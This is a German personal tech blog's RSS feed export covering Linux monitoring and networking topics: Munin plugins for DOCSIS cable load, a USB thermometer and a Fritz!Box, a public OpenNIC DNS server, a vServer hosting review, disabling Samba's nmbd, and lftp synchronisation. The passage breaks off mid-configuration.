<p><a href="http://falkhusemann.de/blog/wp-content/uploads/2013/03/sundtek_docsis_bandwidth-day_small.png"><img class="aligncenter size-full wp-image-2186" alt="sundtek_docsis_bandwidth-day_small" src="http://falkhusemann.de/blog/wp-content/uploads/2013/03/sundtek_docsis_bandwidth-day_small.png" width="497" height="376" /></a></p>
<ul>
<li>Auslastung jedes DVB-C Kanals im Downstream</li>
<li>Gesamtauslastung</li>
<li>Jeweils (inoffiziell erfragte) Grenzwerte für Warnungen und kritische Zustände<br />
(Sodass ihr direkt ablesen könnt, ob es sich lohnt eine Störung zu melden)</li>
</ul>
<p style="text-align: center;"><a href="http://falkhusemann.de/blog/wp-content/uploads/2013/03/sundtek_docsis_bandwidth-pinpoint13634226181363530618.png"><img class="size-thumbnail wp-image-2187 aligncenter" alt="sundtek_docsis_bandwidth-pinpoint=1363422618,1363530618" src="http://falkhusemann.de/blog/wp-content/uploads/2013/03/sundtek_docsis_bandwidth-pinpoint13634226181363530618-150x150.png" width="150" height="150" /></a><a href="http://falkhusemann.de/blog/wp-content/uploads/2013/03/Bildschirmfoto-17.03.2013-153251.png"><img class="size-thumbnail wp-image-2185 aligncenter" alt="Bildschirmfoto - 17.03.2013 - 15:32:51" src="http://falkhusemann.de/blog/wp-content/uploads/2013/03/Bildschirmfoto-17.03.2013-153251-150x150.png" width="150" height="150" /></a></p>
<h2 style="text-align: left;">DOCSIS Allgemein</h2>
<p>Um die Graphen lesen zu können ist Hintergrundwissen zu DVB-C und DOCSIS notwendig. DOCSIS bietet ein geteiltes Medium, dass auf Kanälen basiert, die unter den Kunden aufgeteilt werden. Es stehen also für mehrere hundert Benutzer insgesamt 380 Mbit/sec im Downstream zur Verfügung. Bei Unitymedia werden die folgenden <a href="http://www.unitymedia-kabelbw-helpdesk.de/tv/nrw_he-digital-tv.html">acht DVB-C Kanäle benutzt</a>.</p>
<ul>
<li>542MHz</li>
<li>578MHz</li>
<li>586MHz</li>
<li>594MHz</li>
<li>602MHz</li>
<li>618MHz</li>
<li>626MHz</li>
<li>634MHz</li>
</ul>
<p>Jeder dieser Kanäle hat bei EuroDOCSIS 3.0 eine <a href="http://www.ifn.ing.tu-bs.de/itg/docs/070426Hildesheim/070426_PresVLe070426_ITG.pdf">Brutto-Datenrate von 55MBit/sec (siehe Folie 4)</a>  von der minus <a href="http://de.wikipedia.org/wiki/Tara_%28Gewicht%29">Tara</a> ungefähr 47,5MBit/sec Netto-Datenrate für die TCP/IP-Nutzlast übrig bleibt. Das bedeutet auf allen acht Kanälen gemeinsam stehen <a href="http://www.golem.de/0911/70942.html">etwa 380Mbit/sec zur Verfügung</a>, was auch den Ergebnissen von Unitymedia in Feldtests entspricht. Um die Auslastung dieser acht Kanäle zu messen bedarf es nur eines verhältnismäßig preisgünstigen DVB-C USB-Sticks.</p>
<h2>Hardware</h2>
<p>Nach Tests zur <a href="http://coresec.de/2012/raspberry-pi-als-dvb-c-monitor-mit-sundtek-mediatv-pro-usb-stick/">Messung der Segmentauslastung durch Florian Strankowski</a> eignet sich der <a href="http://sundtek.com/shop/Digital-TV-Sticks/Sundtek-MediaTV-Digital-Home-DVB-CT.html">MediaTV Digital Home DVB-CT</a> Stick der Firma Sundtek besonders gut. Treiber für Linux die auf Anhieb unter Debian funktionieren lassen sich aus dem <a href="http://support.sundtek.com/index.php/board,6.0.html">Support-Forum des Herstellers</a> beziehen. Darüber hinaus ist für mein Plugin nur das Programm dvbsnoop erforderlich.</p>
<pre class="brush: plain; title: Quelltext; notranslate">apt-get install dvbsnoop</pre>
<h2 style="text-align: left;">Download</h2>
<p>Das Plugin kann via GitHub aus dem Repository <strong><a href="https://github.com/husemann/munin-sundtek_docsis">munin-sundtek_docsis</a></strong> bezogen werden.</p>
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</ol>
<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
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		</item>
		<item>
		<title>Alternativer DNS-Server</title>
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		<pubDate>Wed, 12 Dec 2012 16:22:32 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[TCP/IP]]></category>
		<category><![CDATA[dns-server]]></category>
		<category><![CDATA[nbiserv]]></category>
		<category><![CDATA[opennic]]></category>

		<guid isPermaLink="false">http://falkhusemann.de/blog/?p=2147</guid>
		<description><![CDATA[Wie in meinem Artikel über NbIServ beschrieben, betreibe ich einen frei zugänglichen Nameserver für das OpenNIC-Projekt. Der Nameserver führt keine individuellen Protokolle, sondern nur aggregierte und öffentlich einsehbare Statistiken. IPv4-Adresse: 46.182.18.228 IPv6-Adresse: 2a02:2970:1002::ffa6 Weitere Informationen dazu gibt es hier und die Statistiken gibt es hier. Über Fragen oder Anregungen würde ich mich freuen.<div class='yarpp-related-rss'>

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<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
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]]></description>
				<content:encoded><![CDATA[<p>Wie in meinem <a href="http://falkhusemann.de/blog/2012/12/ein-vierteljahr-mit-nbiserver-fur-opennic/">Artikel über NbIServ</a> beschrieben, betreibe ich einen frei zugänglichen Nameserver <a href="http://wiki.opennicproject.org/Tier2">für das OpenNIC-Projekt</a>. Der Nameserver führt keine individuellen Protokolle, sondern nur aggregierte und öffentlich einsehbare Statistiken.</p>
<h3 style="text-align: center;">IPv4-Adresse: 46.182.18.228</p>
<p>IPv6-Adresse: 2a02:2970:1002::ffa6</h3>
<p>Weitere Informationen dazu gibt es <a href="http://46.182.18.228/">hier</a> und die Statistiken gibt es <a href="http://46.182.18.228/munin/onic-t2-nbiserv/onic-t2-nbiserv/unbound_munin_by_type.html">hier</a>. Über Fragen oder Anregungen würde ich mich freuen.</p>
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		<title>Linux fähiger Steckdosencomputer Pogoplug für 15 Euro</title>
		<link>http://falkhusemann.de/blog/2012/12/debian-fahiger-steckdosencomputer-pogoplugfur-15-euro/</link>
		<comments>http://falkhusemann.de/blog/2012/12/debian-fahiger-steckdosencomputer-pogoplugfur-15-euro/#comments</comments>
		<pubDate>Sun, 09 Dec 2012 13:01:32 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Off-Topic]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[schnäppchen]]></category>

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		<description><![CDATA[Ein kurzer Hinweis für Freunde von ARM-Computern: Der Pogoplug Classic wird zur Zeit für 10 Euro plus 4,95 Versand verramscht. Und zwar hier. Es handelt sich um das Modell POGO-P24. Weitere Informationen gibt es bei mydealz, Spekulationen über die genauen technischen Spezifikationen bei linuxundich. Das Gerät stammt aus einer zur Seagate Dockstar vergleichbaren SoC-Serie und [...]<div class='yarpp-related-rss'>

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<ul>
<li>Architektur ARMv6l</li>
<li>Prozessor PLX 7820 700MHz Dual-core</li>
<li>RAM 128MB</li>
<li>NAND 128MB</li>
<li>4 USB / 1 SATA</li>
<li>Gigabit Ethernet</li>
</ul>
<p>Laut einigen Threads ist allerdings hier in Bezug auf Debian Vorsicht geboten. Das Gerät benötigt scheinbar einen speziellen Kernel, den zur Zeit nur Archlinux bietet.</p>
<ul>
<li>Link zur <a href="http://archlinuxarm.org/platforms/armv6/pogoplug-provideov3">Installation mit Archlinux</a></li>
<li><a href="http://archlinuxarm.org/platforms/armv6">Gegenüberstellung RaspberryPi Pogoplug</a></li>
<li><a href="http://forum.doozan.com/read.php?2,7275">Probleme mit Debian auf POGO-P24</a></li>
<li><a href="http://archlinuxarm.org/forum/viewtopic.php?f=29&amp;t=2257">Informationen zur verbauten Hardware</a></li>
</ul>
<p>Viel Glück beim Zuschlagen!</p>
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		<title>Linux USB-Thermometer TEMPer mit Munin für unter 20 Euro</title>
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		<pubDate>Sat, 08 Dec 2012 19:12:10 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[IT-Management]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[munin]]></category>
		<category><![CDATA[sensor]]></category>
		<category><![CDATA[temper]]></category>
		<category><![CDATA[thermometer]]></category>

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		<description><![CDATA[Wer günstig mit Linux Temperaturen messen möchte, kann das jetzt. Für unter 20 Euro vertreibt der Anbieter M-Ware auf Amazon den RDing TEMPer1.2 USB-Temperatursensor. Doch etwas Vorsicht ist geboten, denn die neue Version 1.2 ist nicht mit den verfügbaren Perl-Bibliotheken oder Munin-Plugin kompatibel. Wird der neue als gold TEMPer betitelte Sensor angeschlossen ergibt sich folgendes [...]<div class='yarpp-related-rss'>

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</div>
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				<content:encoded><![CDATA[<p>Wer günstig mit Linux Temperaturen messen möchte, kann das jetzt. Für unter 20 Euro vertreibt der Anbieter <a href="http://www.amazon.de/M-ware%C2%AE-USB-Thermometer-40-Emailbenachrichtigung-ID7747/dp/B002T8PRY0/ref=sr_1_1?ie=UTF8&amp;amp;qid=1354809438&amp;amp;sr=8-1">M-Ware auf Amazon den RDing TEMPer1.2</a> USB-Temperatursensor. Doch etwas Vorsicht ist geboten, denn die neue Version 1.2 ist nicht mit den <a href="http://www.linux-magazin.de/Ausgaben/2010/10/Klimaforschung">verfügbaren Perl-Bibliotheken</a> oder <a href="http://blog.svilen.com/2010/09/how-to-combine-munin-and-temper-usb.html">Munin-Plugin</a> kompatibel.</p>
<p><a href="http://www.amazon.de/gp/product/B002T8PRY0/ref=as_li_qf_sp_asin_il?ie=UTF8&amp;camp=1638&amp;creative=6742&amp;creativeASIN=B002T8PRY0&amp;linkCode=as2&amp;tag=falblo06-21"><img class="pchqhgsjqmwidqvkpibb" src="http://ws.assoc-amazon.de/widgets/q?_encoding=UTF8&amp;ASIN=B002T8PRY0&amp;Format=_SL110_&amp;ID=AsinImage&amp;MarketPlace=DE&amp;ServiceVersion=20070822&amp;WS=1&amp;tag=falblo06-21" alt="" border="0" /></a><img class="pchqhgsjqmwidqvkpibb" style="border: none !important; margin: 0px !important;" src="http://www.assoc-amazon.de/e/ir?t=falblo06-21&amp;l=as2&amp;o=3&amp;a=B002T8PRY0" alt="" width="1" height="1" border="0" /><br />
Wird der neue als <a href="http://www.pcsensor.com/index.php?_a=product&#038;product_id=41">gold TEMPer</a> betitelte Sensor angeschlossen ergibt sich folgendes Bild:</p>
<pre class="brush: plain; title: Quelltext; notranslate">
[1816401.763718] usb 2-1: Product: TEMPerV1.2
[1816401.763724] usb 2-1: Manufacturer: RDing
[1816401.782819] input: RDing TEMPerV1.2 as /devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/input/input44
[1816401.783419] generic-usb 0003:0C45:7401.004F: input,hidraw0: USB HID v1.10 Keyboard [RDing TEMPerV1.2] on usb-0000:00:10.0-1/input0
[1816401.798144] generic-usb 0003:0C45:7401.0050: hiddev0,hidraw1: USB HID v1.10 Device [RDing TEMPerV1.2] on usb-0000:00:10.0-1/input1
[1817325.787837] udev[26706]: starting version 164
</pre>
<p>Nach längerer <a href="https://plus.google.com/105569853186899442987/posts/N9T7xAjEtyF">Suche im Internet</a> wird klar, dass für die neue Version eine spanische Firma (ISP-SL) verantwortlich zeichnet, die auch <a href="http://www.isp-sl.com/pcsensor-1.0.0.tgz">hier einen entsprechenden Treiber</a> zur Verfügung stellt. Damit geht die Installation der Software dann ganz schnell wie folgt.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
apt-get install build-essentials libusb-dev
wget &quot;http://www.isp-sl.com/pcsensor-1.0.0.tgz&quot;
tar xvzf pcsensor-1.0.0.tgz
cd pcsensor-1.0.0
make clean
make pcsensor
make rules-install
cp pcsensor /usr/local/bin/
</pre>
<p>Um die <i>udev</i> Regeln zu aktivieren muss jetzt der Computer neugestartet werden, oder der entsprechende Dienst mit dem Befehl <tt> /etc/init.d/udev reload </tt> neugestartet werden. Alternativ tut es auch ein abziehen und wiedereinstecken des TEMPer Moduls.</p>
<p>Hat alles geklappt, liefert die Eingabe des Befehl <tt>pcsensor</tt> jetzt die gewünschten Daten.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
# pcsensor 
2012/12/08 19:53:33 Temperature 71.83F 22.12C
</pre>
<p>Um auch dauerhaft einen Überblick über die gemessene Temperatur zu behalten, eignet sich ein Munin-Plugin (Abbildung folgt).</p>
<div id="attachment_2133" class="wp-caption aligncenter" style="width: 507px"><a href="http://falkhusemann.de/blog/wp-content/uploads/2012/12/temper-day.png"><img src="http://falkhusemann.de/blog/wp-content/uploads/2012/12/temper-day.png" alt="RDing TEMPer 1.2" title="RDing TEMPer 1.2" width="497" height="280" class="size-full wp-image-2133" /></a><p class="wp-caption-text">RDing TEMPer 1.2</p></div>
<p>Das ist schnell geschrieben und könnte wie folgt aussehen.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
#!/bin/sh
# Where is pcsensor located?
PCSENSOR=&quot;/usr/local/bin/pcsensor&quot;

if [ ! -e ${PCSENSOR} ]; then
	echo &quot;Cannot find pcsensor executable&quot; &gt;&amp;2
	exit -1
fi

case $1 in
   config)
	echo &quot;
graph_title TEMPer USB Thermometer
graph_vlabel Celsius
graph_info This graph shows the temperatur reported by the attached TEMPer USB Thermometer.
graph_category Sensors
temp.label temp
temp.draw AREA
temp.colour FFD700
# &lt; water freezes, &gt; high fever
temp.warning 4:40
# sensor max
temp.critical -40:120
	&quot;
        exit 0;;
esac

echo -n &quot;temp.value &quot;
${PCSENSOR} -cm | head -n1
</pre>
<p>Zusammengefasst lässt sich sagen, dass der TEMPer nicht leich in Betrieb zu nehmen war. Nicht, weil die Software nicht zur Verfügung stand, sondern weil der Sensor schlicht ohne Handbuch oder Treiber oder Informationen über Bezugsquellen für Treiber geliefert wurde. Das ist schade, aber bei einem Preis von unter 20 Euro zu verschmerzen.</p>
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<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
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		<title>Ein Vierteljahr mit NbIServer für OpenNIC</title>
		<link>http://falkhusemann.de/blog/2012/12/ein-vierteljahr-mit-nbiserver-fur-opennic/</link>
		<comments>http://falkhusemann.de/blog/2012/12/ein-vierteljahr-mit-nbiserver-fur-opennic/#comments</comments>
		<pubDate>Thu, 06 Dec 2012 17:03:17 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[TCP/IP]]></category>
		<category><![CDATA[nbiserv]]></category>
		<category><![CDATA[opennic]]></category>
		<category><![CDATA[sponsoring]]></category>

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		<description><![CDATA[Nicht oft gibt es bei Internet Service Providern etwas geschenkt. Zumindest war das meine Vermutung, bevor ich für ein nicht-kommerzielles Projekt auf die Suche nach einem langfristigen Sponsor ging. Es ging darum, für das Projekt OpenNIC Serverkontingente zu finden, die einzig für den Betrieb von rekursiven Nameservern genutzt werden sollten. So ein Nameserver ist eine [...]<div class='yarpp-related-rss'>

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</div>
]]></description>
				<content:encoded><![CDATA[<p><br />
<a href="http://falkhusemann.de/blog/wp-content/uploads/2012/12/nbiserv.png"><img class="alignleft size-full wp-image-2071" title="nbiserv" src="http://falkhusemann.de/blog/wp-content/uploads/2012/12/nbiserv.png" alt="" width="203" height="80" /></a></p>
<p>Nicht oft gibt es bei Internet Service Providern etwas geschenkt. Zumindest war das meine Vermutung, bevor ich für ein nicht-kommerzielles Projekt auf die Suche nach einem langfristigen Sponsor ging.</p>
<p>Es ging darum, für das Projekt <a href="http://www.useopennic.org/">OpenNIC</a> Serverkontingente zu finden, die einzig für den Betrieb von rekursiven Nameservern genutzt werden sollten. So ein Nameserver ist eine Software, die Namen wie zum Beispiel falkhusemann.de in IP-Adressen wie 94.23.233.6 auflöst. Ohne DNS und die dafür notwendigen Nameserver wäre eine Benutzung des Internets nur über IP-Adressen möglich.</p>
<p>Zusätzlich erschwerend kam hinzu, dass das OpenNIC Projekt kein Verein ist, sondern aus einzelnen Personen besteht, die freiwillig Nameserver betreiben. Freiwilligenarbeit also.</p>
<p>Als einer der Provider, die Interesse zeigten, das Projekt zu unterstützen, meldete sich der Bethenhausener Anbieter <a href="https://www.nbiserv.de/">NbIServ</a>. Nach kurzer Verifizierung meiner persönlichen Daten wurde ein vServer vom Typ <a href="https://www.nbiserv.de/index.php?menu_hierarchy=3-12">VS-2012-XS</a> zur Verfügung gestellt.</p>
<blockquote><p><em>&#8220;&#8230;<strong>Wir freuen uns ein Projekt wie die openNIC aktiv unterstützen zu dürfen</strong>&#8230;&#8221;</em> , so Martin Prager Geschäftsführer von NbIServ</p></blockquote>
<p>Die eingesetze Virtualisierungstechnik ist OpenVZ und das System bietet folgende Eckdaten:</p>
<ul>
<li>256 MiB Arbeitsspeicher</li>
<li>20 GiB Festspeicher</li>
<li>Flatrate bei fairer Benutzung</li>
</ul>
<p>Verwalten lässt sich der virtuelle Server über die Software <a href="http://www.ovzmanager.de/">oVZManager</a>, wie das folgende Bildschirmfoto zeigt.</p>
<p><a href="http://falkhusemann.de/blog/wp-content/uploads/2012/12/nbi_ovzmanager.png"><img class="size-thumbnail wp-image-2073 aligncenter" title="nbi_ovzmanager" src="http://falkhusemann.de/blog/wp-content/uploads/2012/12/nbi_ovzmanager-150x150.png" alt="" width="150" height="150" /></a></p>
<p>Folgend meine Erfahrungen mit dem Anbieter und der gebotenen technischen Dienstleitung:</p>
<h2><strong>Verfügbarkeit</strong></h2>
<p>Für NbIServ spricht eindeutig, dass der virtuelle Server <strong>seit einem Vierteljahr ohne Ausfall</strong> läuft. In dieser Zeit konnte meine Netzwerküberwachung zwar mehrere Ausfälle des Nameservers, nicht aber des virtuellen Servers oder dessen Anbindung feststellen.</p>
<h2 style="text-align: left;"><strong>Kundendienst</strong></h2>
<p><strong>Der Kontakt mit dem Eigentümer Herrn Prager erfolgte direkt und sehr zügig</strong>. Dieser Punkt ist gerade bei Ausfällen eine willkommene Seltenheit und als Zusatzdienstleistung bei anderen Anbietern kaum bezahlbar.</p>
<h2><strong>Technische Leistung</strong></h2>
<p>Der zugesicherte Arbeitsspeicher, die Anbindung und der Festspeicher standen zur Verfügung. Hier findet offensichtlich keine oder nur eine begrenzte Überbuchung der Server statt. Der sequentielle Maximaldurchsatz des E/A-Subsystems lag bei durchschnittlich circa 200 MB/sec wie der folgende Benchmark belegt.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
root@NbI-545:~# spew -g -i 3 --read-after-write 1g testfile
Total iterations:                                3
Total runtime:                            00:01:02
Total write transfer time (WTT):          00:00:22
Total write transfer rate (WTR):   140608.38 KiB/s
Total write IOPS:                  281216.77 IOPS
Total read transfer time (RTT):           00:00:12
Total read transfer rate (RTR):    251710.17 KiB/s
Total read IOPS:                   503420.35 IOPS
</pre>
<p>Und einige weitere Benchmarks:</p>
<ul>
<li><a href="http://falkhusemann.de/blog/wp-content/uploads/2012/12/nbi_openssl_speed.txt">OpenSSL Benchmark</a></li>
<li><a href="http://falkhusemann.de/blog/wp-content/uploads/2012/12/nbi_cpuinfo.txt">Ausgabe /proc/cpuinfo</a></li>
<li><a href="http://falkhusemann.de/blog/wp-content/uploads/2012/12/nbi_anbindung.txt">Speedtest Anbindung</a></li>
</ul>
<p><strong>IPv6 ist ebenso verfügbar</strong>. Einzig bei Tests des Maximaldurchsatzes der Anbindung des vServers fielen Einschränkungen auf. Der steigt nur gelegentlich über 4 MB/sec und bewegt sich bei Quellen aus dem deutschen Forschungsnetz oder QSC ansonsten bei circa 2MB/sec. Das spielt zwar für den darauf laufenden OpenNIC Nameserver keine Rolle, kann aber bei Verwendung als Backupsystem wichtig sein.</p>
<h2>Fazit</h2>
<p>Zusammengefasst bietet NbIServ mit dem gestellten vServer ein Produkt, dass die Ansprüche an Verlässlichkeit und kontinuierliche Leistung von fortgeschrittenen Kunden befriedigt. Einziger Kritikpunkt ist der nicht mehr zeitgemäße Maximaldurchsatz der Anbindung.</p>
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		</item>
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		<title>NetBIOS-Nameserver nmbd deaktivieren</title>
		<link>http://falkhusemann.de/blog/2012/11/netbios-nameserver-nmbd-deaktivieren/</link>
		<comments>http://falkhusemann.de/blog/2012/11/netbios-nameserver-nmbd-deaktivieren/#comments</comments>
		<pubDate>Wed, 07 Nov 2012 17:13:07 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>

		<guid isPermaLink="false">http://falkhusemann.de/blog/?p=2046</guid>
		<description><![CDATA[In Netzwerken, die entweder ein Active Directory betreiben, oder aber nur auf die Netzwerkfreigabe, nicht aber auf Namensauflösung angewiesen sind, lässt sich der nmbd Daemon aus dem Samba Paket auch deaktivieren. Gespart wird dadurch etwas Datenverkehr und Angriffsfläche auf dem Server. Unter Debian GNU/Linux geht das besonders einfach, indem der Datei /etc/samba/smb.conf im Abschnitt [global] [...]<div class='yarpp-related-rss'>

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<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p>In Netzwerken, die entweder ein Active Directory betreiben, oder aber nur auf die Netzwerkfreigabe, nicht aber auf Namensauflösung angewiesen sind, lässt sich der <em><a href="http://gertranssmb3.berlios.de/output/nmbd.8.html">nmbd</a></em> Daemon aus dem <a href="http://www.samba.org/">Samba</a> Paket auch deaktivieren. Gespart wird dadurch etwas Datenverkehr und Angriffsfläche auf dem Server.</p>
<p>Unter Debian GNU/Linux geht das besonders einfach, indem der Datei <tt>/etc/samba/smb.conf</tt> im Abschnitt <tt>[global]</tt> der folgende Eintrag hinzugefügt wird.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
disable netbios = Yes
</pre>
<p>Diskutiert wird die Möglichkeit <em>nmbd</em> zu deaktivieren in einem <a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=429429">Debian Bugreport</a>.</p>
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</div>
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		</item>
		<item>
		<title>Fritz!Box Cable mit Munin überwachen ohne alternative Firmware</title>
		<link>http://falkhusemann.de/blog/2012/09/fritzbox-cable-mit-munin-uberwachen-ohne-alternative-firmware/</link>
		<comments>http://falkhusemann.de/blog/2012/09/fritzbox-cable-mit-munin-uberwachen-ohne-alternative-firmware/#comments</comments>
		<pubDate>Sat, 22 Sep 2012 15:48:30 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[IT-Management]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Netzwerk Management]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[TCP/IP]]></category>
		<category><![CDATA[docsis]]></category>
		<category><![CDATA[fritzbox]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[munin]]></category>

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		<description><![CDATA[Das Überwachen einer Fritz!Box 6360 Cable mit nicht anpassbarer Firmware von Unitymedia, Kabel-BW oder Kabel Deutschland gestaltet sich leider nicht einfach. Um trotzdem die wichtigsten Leitungswerte in das Netzwerkmonitoring Werkzeug Munin einzubinden, habe ich ein Plugin geschrieben. Fritz!DOCSIS Munin Plugin (Repository) Zum Verfahren gibt es nicht mehr zu sagen, als die Kommentare des Quelltexts zu [...]<div class='yarpp-related-rss'>

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<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p>Das Überwachen einer Fritz!Box 6360 Cable mit nicht anpassbarer Firmware von Unitymedia, Kabel-BW oder Kabel Deutschland gestaltet sich leider nicht einfach. Um trotzdem die wichtigsten Leitungswerte in das Netzwerkmonitoring Werkzeug Munin einzubinden, habe ich ein Plugin geschrieben.</p>
<h3 style="text-align: center;"><strong><a href="https://github.com/husemann/fritzdocsis" target="_blank">Fritz!DOCSIS Munin Plugin (Repository)</a></strong></h3>
<p>Zum Verfahren gibt es nicht mehr zu sagen, als die Kommentare des Quelltexts zu zitieren:</p>
<p><code>// DISCLAIMER: Now comes the funny part!<br />
// 1. AVM enclosed a LUA table in &lt;code&gt; tags. First we get the LUA table out!<br />
// 2. Then we parse the LUA table to an array using a parser for World of Warcraft (it's everywhere, mh?)<br />
// 3. Now we "decode" (read: de-fuckup) the LUA table to proper SNMP keys for DOWNSTREAM and UPSTREAM</code></p>
<p>Um es kurz zu machen, folgen die drei Graphentypen die das Plugin erzeugen kann.</p>
<h4>Downstream</h4>
<p>Für jeden Downstream Kanal den Powerlevel in <strong>dBmV</strong> und die Leitungsdämpfung in <strong>dB</strong>.</p>
<h4>Downstream Fehler</h4>
<p>Für jeden Downstream Kanal sowohl die <strong>korrigierbaren</strong> wie auch die <strong>unkorrigierbaren</strong> <strong>Fehler</strong>.</p>
<h4>Upstream</h4>
<p>Für jeden Upstream Kanal den Powerlevel in <strong>dBmV</strong>.</p>
<p>Die Graphen sehen nach einigen Tagen zum Beispiel wie folgt aus.</p>

<a href='http://falkhusemann.de/blog/2012/09/fritzbox-cable-mit-munin-uberwachen-ohne-alternative-firmware/fritzdocsis_up_0-week/' title='fritzdocsis_up_0-week'><img width="150" height="150" src="http://falkhusemann.de/blog/wp-content/uploads/2012/09/fritzdocsis_up_0-week-150x150.png" class="attachment-thumbnail" alt="fritzdocsis_up_0-week" /></a>
<a href='http://falkhusemann.de/blog/2012/09/fritzbox-cable-mit-munin-uberwachen-ohne-alternative-firmware/fritzdocsis_downerr_0-day/' title='fritzdocsis_downerr_0-day'><img width="150" height="150" src="http://falkhusemann.de/blog/wp-content/uploads/2012/09/fritzdocsis_downerr_0-day-150x150.png" class="attachment-thumbnail" alt="fritzdocsis_downerr_0-day" /></a>
<a href='http://falkhusemann.de/blog/2012/09/fritzbox-cable-mit-munin-uberwachen-ohne-alternative-firmware/fritzdocsis_down_0-day/' title='fritzdocsis_down_0-day'><img width="150" height="150" src="http://falkhusemann.de/blog/wp-content/uploads/2012/09/fritzdocsis_down_0-day-150x150.png" class="attachment-thumbnail" alt="fritzdocsis_down_0-day" /></a>

<p>Das Plugin ist in einem GitHub Repository gespeichert und seit mehreren Wochen erfolgreich in Betrieb.</p>
<p>Habt ihr eigene Skripte für die Fritz!Box ohne SNMP geschrieben? Vielleicht sogar für Munin? Über einen Kommentar würde ich mich freuen! Sollte jemand von Unitymedia diesen Blogpost lesen: Bitte installiert doch einen SNMP Daemon.</p>
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</ol>
<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
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		<title>Große Datenbestände mit lftp synchronisieren</title>
		<link>http://falkhusemann.de/blog/2012/08/grose-datenbestande-mit-lftp-synchronisieren/</link>
		<comments>http://falkhusemann.de/blog/2012/08/grose-datenbestande-mit-lftp-synchronisieren/#comments</comments>
		<pubDate>Mon, 27 Aug 2012 18:40:22 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Maximaldurchsatz]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[TCP/IP]]></category>
		<category><![CDATA[fileserver]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[maximaldurchsatz]]></category>

		<guid isPermaLink="false">http://falkhusemann.de/blog/?p=1945</guid>
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<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p><a href="http://falkhusemann.de/blog/wp-content/uploads/2012/08/lftp1.png"><img class="alignleft size-full wp-image-1946" title="lftp1" src="http://falkhusemann.de/blog/wp-content/uploads/2012/08/lftp1.png" alt="" width="70" height="55" /></a></p>
<p>Im <a href="http://falkhusemann.de/blog/2012/08/vsftpd-mit-virtuellen-benutzern-fxp-und-verschlusselung-in-5-minuten/">letzten Artikel zum </a><a href="http://de.wikipedia.org/wiki/File_Transfer_Protocol">File Transfer Protocol</a> wurde die moderne Einrichtung eines FTP-Servers vorgestellt. Jetzt soll ein Verzeichnis des FTP-Servers mit einem lokalen Server synchronisiert werden. </p>
<p>Besonders der <strong>Maximaldurchsatz</strong> soll dabei errreicht werden. Dazu bieten viele Windows FTP-Clients zwei Modi an.</p>
<ul>
<li><strong>Segmentiert</strong><br />
bedeutet, dass eine Datei in logische Abschnitte geteilt und mit mehreren Verbindungen heruntergeladen und auf dem Zielcomputer zusammengesetzt wird.</li>
<li><strong>Threaded</strong><br />
bedeutet mehrere Dateien gleichzeitig über mehrere Datenverbindungen herunterzuladen.</li>
</ul>
<p>Sowohl Threaded wie auch Segmented Übertragungen sollen gegebenfalls vorhandene Durchsatzprobleme bei Verwendung einer einzigen Verbindung umgehen. <em>Das geht doch auch mit Linux?<br />
</em><br />
Im folgenden wird ein Skript vorgestellt, dass <tt><a href="http://lftp.yar.ru/">lftp</a></tt> so in einer <tt>screen</tt> Sitzung startet, dass die Vorteile der Segmented und Threaded Verfahren zusammen mit den Vorteilen einer Hintergrundsitzung bietet. Dabei kommt der FTP-Client <tt>lftp</tt> zum Einsatz, der sich zur Automatisierung besonders gut eignet, weil er <a href="http://lftp.yar.ru/features.html">umfangreiche Konfigurationsmöglichkeiten</a> bietet.</p>
<h2>lftp Konfigurieren</h2>
<p>Zuerst muss die notwendige Software installiert werden.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
apt-get install lftp screen
</pre>
<p>Bevor das Skript eingesetzt werden kann, muss lftp konfiguriert werden, indem im Verzeichnis <tt>~/.lftp/</tt> des ausführenden Benutzers eine Datei <tt>rc</tt> mit folgendem Inhalt angelegt wird.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
# GENERAL
set color:use-color true

# FTP
set ftp:list-options -a
set ftp:passive-mode true
# Send multiple commands async.
set ftp:sync-mode false

# SEGMENTED
set pget:default-n 4
set pget:save-status 30

# DIRECTORES
